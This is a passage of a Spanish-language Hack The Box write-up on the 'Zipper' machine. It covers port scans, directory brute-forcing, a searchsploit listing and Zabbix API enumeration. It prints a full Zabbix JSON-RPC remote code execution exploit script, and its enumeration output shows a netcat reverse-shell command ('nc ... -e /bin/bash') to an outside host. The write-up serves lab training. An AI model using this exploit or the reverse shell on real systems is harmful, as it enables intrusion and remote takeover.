<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB Writeup: Zipper</title><link>https://www.xbyte.mx/posts/htb_writeup_-_zipper/</link><pubDate>Fri, 22 Feb 2019 18:55:03 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_zipper/</guid><description>&lt;p&gt;Esta máquina fue del tipo: Lee todo lo posible sobre la API, entiende bien lo que hace cada parámetro y ahora si, lánzalo.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Esta máquina fue del tipo: Lee todo lo posible sobre la API, entiende bien lo que hace cada parámetro y ahora si, lánzalo.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la maquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/47cfc1b3b78883cf955f58c4464e0743_thumb.png" alt="zipper image"> <a href="https://www.hackthebox.eu/home/machines/profile/159">zipper</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/1453">burmat</a></td>
          <td>Linux</td>
          <td>10.10.10.108</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-zipper/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- --open -n -v 10.10.10.108
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 16:27 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 16:27
</span></span><span style="display:flex;"><span>Scanning 10.10.10.108 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 16:27, 0.42s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 16:27
</span></span><span style="display:flex;"><span>Scanning 10.10.10.108 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.108
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.108
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 45.42% done; ETC: 16:29 (0:00:37 remaining)
</span></span><span style="display:flex;"><span>Discovered open port 10050/tcp on 10.10.10.108
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 16:30, 121.94s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.108
</span></span><span style="display:flex;"><span>Host is up (0.19s latency).
</span></span><span style="display:flex;"><span>Not shown: 64555 closed ports, 977 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp    open  ssh
</span></span><span style="display:flex;"><span>80/tcp    open  http
</span></span><span style="display:flex;"><span>10050/tcp open  zabbix-agent
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 122.51 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 166729 (7.336MB) | Rcvd: 143139 (5.726MB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Corroboremos con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.108
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-04 22:20:25 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.108
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.108
</span></span><span style="display:flex;"><span>Discovered open port 10050/tcp on 10.10.10.108
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos nmap con los parámetros habituales para la identificación de servicios y versiones:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -p22,80,10050 -n -sC -sV 10.10.10.108 --script vuln
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 16:35 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.108
</span></span><span style="display:flex;"><span>Host is up (0.19s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE    VERSION
</span></span><span style="display:flex;"><span>22/tcp    open  ssh        OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
</span></span><span style="display:flex;"><span>80/tcp    open  http       Apache httpd 2.4.29 ((Ubuntu))
</span></span><span style="display:flex;"><span>|_http-csrf: Couldn&#39;t find any CSRF vulnerabilities.
</span></span><span style="display:flex;"><span>|_http-dombased-xss: Couldn&#39;t find any DOM based XSS.
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>|_http-stored-xss: Couldn&#39;t find any stored XSS vulnerabilities.
</span></span><span style="display:flex;"><span>10050/tcp open  tcpwrapped
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 47.71 seconds
</span></span></code></pre></div><ul>
<li><code>-p22,80,10050</code> Ya conocemos a los sospechoso, estos 3 puertos abiertos.</li>
<li><code>-n</code> Sin resolver, nada con el dns.</li>
<li><code>-sC</code> Lanza los scripts de descubrimiento por defecto</li>
<li><code>-sV</code> Realiza la detección de versiones en cada puerto abierto</li>
<li><code>--script vuln</code> Lanza los scripts de vulnerabilidades</li>
</ul>
<p>Una rápida googleada, no indicara que el servicio SSH no es vulnerable de acuerdo a la versión anunciada. De igual manera, la versión de apache no es vulnerable directamente a exploits.</p>
<h1 id="gobuster--dirbusterdiclistsmall">Gobuster + dirbusterDicListSmall</h1>
<p>Lanzamos un gobuster para identificar todos los posibles archivos y directorios publicados por el servidor web:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/zipper$ ~/tools/gobuster -u http://10.10.10.108/ -w ~/git/payloads/owasp/dirbuster/directory-list-2.3-small.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.108/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/payloads/owasp/dirbuster/directory-list-2.3-small.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : txt,php
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 16:50:01 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/zabbix (Status: 301)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 17:20:20 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span></code></pre></div><ul>
<li><code>-u http://10.10.10.108/</code> La url a la cual le realizaremos todas esas peticiones</li>
<li><code>-w ~/git/payloads/owasp/dirbuster/directory-list-2.3-small.txt</code> El diccionario que utilizaremos con las palabras que irán en las peticiones (GET /palabraaqui)</li>
<li><code>-s '200,204,301,302,307,403,500'</code> El tipo de códigos de respuesta que aceptaremos</li>
<li><code>-t 20</code> El numero de hilos o peticiones simultaneas que estaremos manejando, <em>ojo</em>, 20 porque mi conexión es lenta.</li>
<li><code>-x php,txt</code> El tipo de extensiones que buscaremos, es decir, si la palabra es hola, busco el directorio hola, el archivo hola.txt y hola.php</li>
</ul>
<p>Como resultado encontramos la carpeta zabbix, indicándonos la relación entre <strong>zabbix</strong> y el nombre de la máquina, <strong>zipper</strong>.</p>
<h1 id="exploring-and-enumering">Exploring and enumering</h1>
<p>Abrimos la pagina de <a href="http://10.10.10.108/zabbix/">http://10.10.10.108/zabbix/</a> y tendremos:</p>
<p><img src="/img/htb-zipper/zabbix-www-root.png" alt="Zabbix Home"></p>
<p>Como no tenemos credenciales, entramos como invitados y llegaremos al menu interno y limitado:</p>
<p><img src="/img/htb-zipper/zabbix-www-dashboard.png" alt="Zabbix Dashboard"></p>
<p>Tras explorar un poco, veremos que no nos es posible hacer mucho. Pero encontraremos el siguiente mensaje dejado por algún admin:</p>
<p><img src="/img/htb-zipper/zabbix-www-overview.png" alt="Zabbix Overview"></p>
<p>&ldquo;Zapper&rsquo;s Backup Script - Exit Code&rdquo; sobre <strong>zabbix</strong>, mientras que otros mensajes sobre <strong>zipper</strong></p>
<p>Probamos el usuario zapper para ingresar en el login:</p>
<p><img src="/img/htb-zipper/zabbix-www-zapper-login.png" alt="Zabbix Login of Zapper"></p>
<p>Parece que para el usuario zapper, el login vía GUI esta deshabilitado.</p>
<h1 id="searchsploit">Searchsploit</h1>
<p>Buscamos en searchsploit vulnerabilidades relacionadas con zabbix:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/exploit-database$ ./searchsploit zabbix
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                                                                        |  Path
</span></span><span style="display:flex;"><span>                                                                                                                                      | (./)
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>Zabbix - (Authenticated) Remote Command Execution (Metasploit)                                                                        | exploits/linux/remote/29321.rb
</span></span><span style="display:flex;"><span>Zabbix 1.1.2 - Multiple Remote Code Execution Vulnerabilities                                                                         | exploits/linux/dos/28775.pl
</span></span><span style="display:flex;"><span>Zabbix 1.1.4/1.4.2 - &#39;daemon_start&#39; Local Privilege Escalation                                                                        | exploits/linux/local/30839.c
</span></span><span style="display:flex;"><span>Zabbix 1.1x/1.4.x - File Checksum Request Denial of Service                                                                           | exploits/unix/dos/31403.txt
</span></span><span style="display:flex;"><span>Zabbix 1.6.2 Frontend - Multiple Vulnerabilities                                                                                      | exploits/php/webapps/8140.txt
</span></span><span style="display:flex;"><span>Zabbix 1.8.1 - SQL Injection                                                                                                          | exploits/php/webapps/12435.txt
</span></span><span style="display:flex;"><span>Zabbix 1.8.4 - &#39;popup.php&#39; SQL Injection                                                                                              | exploits/php/webapps/18155.txt
</span></span><span style="display:flex;"><span>Zabbix 2.0 &lt; 3.0.3 - SQL Injection                                                                                                    | exploits/php/webapps/40353.py
</span></span><span style="display:flex;"><span>Zabbix 2.0.1 - Session Extractor                                                                                                      | exploits/php/webapps/20087.py
</span></span><span style="display:flex;"><span>Zabbix 2.0.5 - Cleartext ldap_bind_Password Password Disclosure (Metasploit)                                                          | exploits/php/webapps/36157.rb
</span></span><span style="display:flex;"><span>Zabbix 2.0.8 - SQL Injection / Remote Code Execution (Metasploit)                                                                     | exploits/unix/webapps/28972.rb
</span></span><span style="display:flex;"><span>Zabbix 2.2 &lt; 3.0.3 - API JSON-RPC Remote Code Execution                                                                               | exploits/php/webapps/39937.py
</span></span><span style="display:flex;"><span>Zabbix 2.2.x/3.0.x - SQL Injection                                                                                                    | exploits/php/webapps/40237.txt
</span></span><span style="display:flex;"><span>Zabbix Agent - &#39;net.tcp.listen&#39; Command Injection (Metasploit)                                                                        | exploits/freebsd/remote/16918.rb
</span></span><span style="display:flex;"><span>Zabbix Agent 3.0.1 - &#39;mysql.size&#39; Shell Command Injection                                                                             | exploits/linux/local/39769.txt
</span></span><span style="display:flex;"><span>Zabbix Agent &lt; 1.6.7 - Remote Bypass                                                                                                  | exploits/multiple/webapps/10431.txt
</span></span><span style="display:flex;"><span>Zabbix Server - Arbitrary Command Execution (Metasploit)                                                                              | exploits/linux/remote/20796.rb
</span></span><span style="display:flex;"><span>Zabbix Server - Multiple Vulnerabilities                                                                                              | exploits/multiple/webapps/10432.txt
</span></span><span style="display:flex;"><span>-------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------
</span></span></code></pre></div><p>Como podemos ver, existen bastantes vulnerabilidades asociadas a las diferentes versiones de zabbix, pero en este momento aun no sabemos que versión de zabbix tenemos. Eso lo resolvemos al entrar como guest y buscar los manuales de ayuda, los cuales hacen referencia a la versión 3.0, por lo que partimos de tener la versión 3.</p>
<p>En mi caso, elegí el exploit de <code>Zabbix 2.2 &lt; 3.0.3 - API JSON-RPC Remote Code Execution</code>, el cual tiene el siguiente código:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- coding: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Exploit Title: Zabbix RCE with API JSON-RPC</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Date: 06-06-2016</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Exploit Author: Alexander Gurin</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Vendor Homepage: http://www.zabbix.com</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Software Link: http://www.zabbix.com/download.php</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Version: 2.2 - 3.0.3</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Tested on: Linux (Debian, CentOS)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># CVE : N/A</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> readline
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ZABIX_ROOT <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;http://192.168.66.2&#39;</span>	<span style="color:#75715e">### Zabbix IP-address</span>
</span></span><span style="display:flex;"><span>url <span style="color:#f92672">=</span> ZABIX_ROOT <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;/api_jsonrpc.php&#39;</span>	<span style="color:#75715e">### Don&#39;t edit</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>login <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Admin&#39;</span>		<span style="color:#75715e">### Zabbix login</span>
</span></span><span style="display:flex;"><span>password <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;zabbix&#39;</span>	<span style="color:#75715e">### Zabbix password</span>
</span></span><span style="display:flex;"><span>hostid <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;10084&#39;</span>	<span style="color:#75715e">### Zabbix hostid</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### auth</span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>   	<span style="color:#e6db74">&#34;jsonrpc&#34;</span> : <span style="color:#e6db74">&#34;2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;method&#34;</span> : <span style="color:#e6db74">&#34;user.login&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;params&#34;</span>: {
</span></span><span style="display:flex;"><span>    	<span style="color:#e6db74">&#39;user&#39;</span>: <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">+</span>login<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>    	<span style="color:#e6db74">&#39;password&#39;</span>: <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">+</span>password<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>   	<span style="color:#e6db74">&#34;auth&#34;</span> : <span style="color:#66d9ef">None</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;id&#34;</span> : <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>headers <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;content-type&#39;</span>: <span style="color:#e6db74">&#39;application/json&#39;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>auth  <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(url, data<span style="color:#f92672">=</span>json<span style="color:#f92672">.</span>dumps(payload), headers<span style="color:#f92672">=</span>(headers))
</span></span><span style="display:flex;"><span>auth <span style="color:#f92672">=</span> auth<span style="color:#f92672">.</span>json()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> <span style="color:#66d9ef">True</span>:
</span></span><span style="display:flex;"><span>	cmd <span style="color:#f92672">=</span> raw_input(<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\033</span><span style="color:#e6db74">[41m[zabbix_cmd]&gt;&gt;: </span><span style="color:#ae81ff">\033</span><span style="color:#e6db74">[0m &#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> cmd <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> : print <span style="color:#e6db74">&#34;Result of last command:&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> cmd <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;quit&#34;</span> : <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### update</span>
</span></span><span style="display:flex;"><span>	payload <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;jsonrpc&#34;</span>: <span style="color:#e6db74">&#34;2.0&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;method&#34;</span>: <span style="color:#e6db74">&#34;script.update&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;params&#34;</span>: {
</span></span><span style="display:flex;"><span>		    <span style="color:#e6db74">&#34;scriptid&#34;</span>: <span style="color:#e6db74">&#34;1&#34;</span>,
</span></span><span style="display:flex;"><span>		    <span style="color:#e6db74">&#34;command&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">+</span>cmd<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>		},
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;auth&#34;</span> : auth[<span style="color:#e6db74">&#39;result&#39;</span>],
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;id&#34;</span> : <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	cmd_upd <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(url, data<span style="color:#f92672">=</span>json<span style="color:#f92672">.</span>dumps(payload), headers<span style="color:#f92672">=</span>(headers))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### execute</span>
</span></span><span style="display:flex;"><span>	payload <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;jsonrpc&#34;</span>: <span style="color:#e6db74">&#34;2.0&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;method&#34;</span>: <span style="color:#e6db74">&#34;script.execute&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;params&#34;</span>: {
</span></span><span style="display:flex;"><span>		    <span style="color:#e6db74">&#34;scriptid&#34;</span>: <span style="color:#e6db74">&#34;1&#34;</span>,
</span></span><span style="display:flex;"><span>		    <span style="color:#e6db74">&#34;hostid&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">+</span>hostid<span style="color:#f92672">+</span><span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>		},
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;auth&#34;</span> : auth[<span style="color:#e6db74">&#39;result&#39;</span>],
</span></span><span style="display:flex;"><span>		<span style="color:#e6db74">&#34;id&#34;</span> : <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	cmd_exe <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(url, data<span style="color:#f92672">=</span>json<span style="color:#f92672">.</span>dumps(payload), headers<span style="color:#f92672">=</span>(headers))
</span></span><span style="display:flex;"><span>	cmd_exe <span style="color:#f92672">=</span> cmd_exe<span style="color:#f92672">.</span>json()
</span></span><span style="display:flex;"><span>	print cmd_exe[<span style="color:#e6db74">&#34;result&#34;</span>][<span style="color:#e6db74">&#34;value&#34;</span>]
</span></span></code></pre></div><p>Nos pide 4 parámetros: IP, usuario, contraseña y hostid. Conocemos casi todos, menos <strong>hostid</strong>.</p>
<p>Vemos que un primer bloque del código se encarga de realizar la autenticación con la API de Zabbix, posterior entra a un ciclo While infinito en donde declara un prompt <em>cmd</em> y recibe la entrada del teclado. Si cmd no recibe nada, muestra en pantalla un mensaje, si recibe el string &ldquo;quit&rdquo; hace break del ciclo infinito.</p>
<p>Tenemos la siguiente sección es update, en donde prepara un payload donde el método es <strong>script.update</strong> con parámetros <strong>scriptid</strong> y <strong>command</strong> con nuestro comando.</p>
<p>La ultima sección, execute, llama al método <strong>script.execute</strong> y recibe de parámetros a <strong>scriptid</strong> y <strong>hostid</strong>. El resultado o response de ese request, lo imprime en pantalla.</p>
<p>Ahora necesitamos saber que hace cada función y que valores son validos en cada parámetro por lo que vamos a &hellip;</p>
<h1 id="zabbix-api-documentation">Zabbix API Documentation</h1>
<p>La <a href="https://www.zabbix.com/documentation/3.0/manual/api">documentación de la API</a> nos explica rápidamente algunos conceptos clave:</p>
<ul>
<li>Tenemos que autenticarnos y usar el token asignado durante su vigencia</li>
<li>Tenemos 4 métodos principales para todos los tipos de objeto (get, create, update y delete)</li>
<li>La documentación sobre el objeto script la encontramos <a href="https://www.zabbix.com/documentation/3.0/manual/api/reference/script/object">aquí</a></li>
</ul>
<p>Ahí podemos entender un poco mas sobre el tipo de objeto script, que requiere de un nombre y un comando para poderse crear.</p>
<p>Sobre los métodos encontramos mas información en el <a href="https://www.zabbix.com/documentation/3.0/manual/api/reference/script">manual de referencia</a> el cual nos explica sobre el método <a href="https://www.zabbix.com/documentation/3.0/manual/api/reference/script/update">script.update</a> y <a href="https://www.zabbix.com/documentation/3.0/manual/api/reference/script/execute">script.execute</a></p>
<p><code>script.update</code>, se encarga de actualizar los valores del objeto script y su único argumento mínimo es <code>scriptid</code>, seguido del nombre/valor a editar.
<code>script.execute</code>, se encarga de ejecutar el <code>scriptid</code> sobre el <code>hostid</code> seleccionado. Ambos parámetros son obligatorios.</p>
<p>Tras leer esto, llegue a la conclusión de no saber cuales eran mis hostid&rsquo;s y scriptid&rsquo;s en la maquina, por lo que nuevamente leyendo el manual de la API, encontré como conocerlo con <a href="https://www.zabbix.com/documentation/3.0/manual/api/reference/script/get">script.get</a> y <a href="https://www.zabbix.com/documentation/3.0/manual/api/reference/host/get">host.get</a>.</p>
<p>Ambos no requieren parámetros por lo que decidí realizar mi modificación al script original y utilizando en su lugar la API implementada en python3.</p>
<h1 id="pyzabbix">PyZabbix</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pyzabbix <span style="color:#f92672">import</span> ZabbixAPI
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>api_address<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://10.10.10.108/zabbix/api_jsonrpc.php&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>user<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>password<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;zapper&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>zapi <span style="color:#f92672">=</span> ZabbixAPI(api_address)
</span></span><span style="display:flex;"><span>zapi<span style="color:#f92672">.</span>login(user, password)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> host <span style="color:#f92672">in</span> zapi<span style="color:#f92672">.</span>host<span style="color:#f92672">.</span>get():
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">&#34;host name: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">, host id: </span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>format(host[<span style="color:#e6db74">&#39;host&#39;</span>],host[<span style="color:#e6db74">&#39;hostid&#39;</span>]))
</span></span><span style="display:flex;"><span>    print(zapi<span style="color:#f92672">.</span>script<span style="color:#f92672">.</span>get(filter<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;host&#34;</span>: host[<span style="color:#e6db74">&#39;host&#39;</span>]}))
</span></span></code></pre></div><p>El siguiente comando simplemente devuelve todos los hosts, y cada script en cada host. Su salida de ejemplo es la siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>host name: Zabbix, host id: 10105
</span></span><span style="display:flex;"><span>[{&#39;scriptid&#39;: &#39;1&#39;, &#39;name&#39;: &#39;Ping&#39;, &#39;command&#39;: &#39;nc 10.10.13.18 4444 -e /bin/bash&#39;, &#39;host_access&#39;: &#39;2&#39;, &#39;usrgrpid&#39;: &#39;0&#39;, &#39;groupid&#39;: &#39;0&#39;, &#39;description&#39;: &#39;&#39;, &#39;confirmation&#39;: &#39;&#39;, &#39;type&#39;: &#39;0&#39;, &#39;execute_on&#39;: &#39;1&#39;}, {&#39;scriptid&#39;: &#39;2&#39;, &#39;name&#39;: &#39;Traceroute&#39;, &#39;command&#39;: &#39;/usr/bin/traceroute {HOST.CONN} 2&gt;&amp;1&#39;, &#39;host_access&#39;: &#39;2&#39;, &#39;usrgrpid&#39;: &#39;0&#39;, &#39;groupid&#39;: &#39;0&#39;, &#39;description&#39;: &#39;&#39;, &#39;confirmation&#39;: &#39;&#39;, &#39;type&#39;: &#39;0&#39;, &#39;execute_on&#39;: &#39;1&#39;}, {&#39;scriptid&#39;: &#39;3&#39;, &#39;name&#39;: &#39;Detect operating system&#39;, &#39;command&#39;: &#39;sudo /usr/bin/nmap -O {HOST.CONN} 2&gt;&amp;1&#39;, &#39;host_access&#39;: &#39;2&#39;, &#39;usrgrpid&#39;: &#39;7&#39;, &#39;groupid&#39;: &#39;0&#39;, &#39;description&#39;: &#39;&#39;, &#39;confirmation&#39;: &#39;&#39;, &#39;type&#39;: &#39;0&#39;, &#39;execute_on&#39;: &#39;1&#39;}]
